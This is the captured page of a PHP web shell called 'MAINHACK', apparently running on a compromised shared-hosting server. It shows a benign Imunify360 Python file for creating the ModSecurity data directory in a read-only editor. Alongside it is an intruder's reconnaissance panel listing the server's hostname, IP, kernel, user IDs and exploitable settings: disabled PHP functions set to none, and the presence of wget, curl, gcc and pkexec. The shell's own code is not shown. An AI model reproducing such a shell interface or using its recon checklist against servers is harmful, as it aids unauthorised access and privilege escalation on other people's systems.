[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: modsec_cache_dir.py
File is not writable. Editing disabled.
""" https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#SecDataDir """ import asyncio import os import logging from defence360agent.subsys.panels import hosting_panel from defence360agent.utils import retry_on from defence360agent.subsys import web_server logger = logging.getLogger(__name__) def get_sec_data_dir(modsec_config_path): try: with open(modsec_config_path) as f: data = f.read() start = '<IfModule security2_module>' end = '</IfModule>' param_name = 'SecDataDir' data_between = data.split(start)[1].split(end)[0] param = next(iter([line for line in data_between.splitlines() if param_name in line]), None) return param.split(param_name)[1].strip() except (IndexError, AttributeError, OSError) as e: logger.error("Incorrect modsec config %s", e) async def create_modsec_cache_directory(): """ Create modsec cache directory because sometimes a directory may not exist :return: """ try: modsec_config_path = hosting_panel.HostingPanel().\ get_modsec_config_path() except NotImplementedError as e: logger.debug("get_modsec_config_path is not implemented for current " "hosting_panel %s", e) return if not modsec_config_path or not os.path.exists(modsec_config_path): return sec_data_dir = get_sec_data_dir(modsec_config_path) if sec_data_dir and not os.path.exists(sec_data_dir): try: os.makedirs(sec_data_dir) # The directory to which the directive points must be # writable by the web server user. async def pause(*_): await asyncio.sleep(60) # wait a minute between attempts @retry_on(web_server.NotRunningError, on_error=pause, max_tries=5) async def coro(): web_server.chown(sec_data_dir) await coro() logger.info("Successfully created sec_data_dir %s", sec_data_dir) await web_server.graceful_restart() except OSError as e: logger.error("Error when creating sec_data_dir %s", e)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.26 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A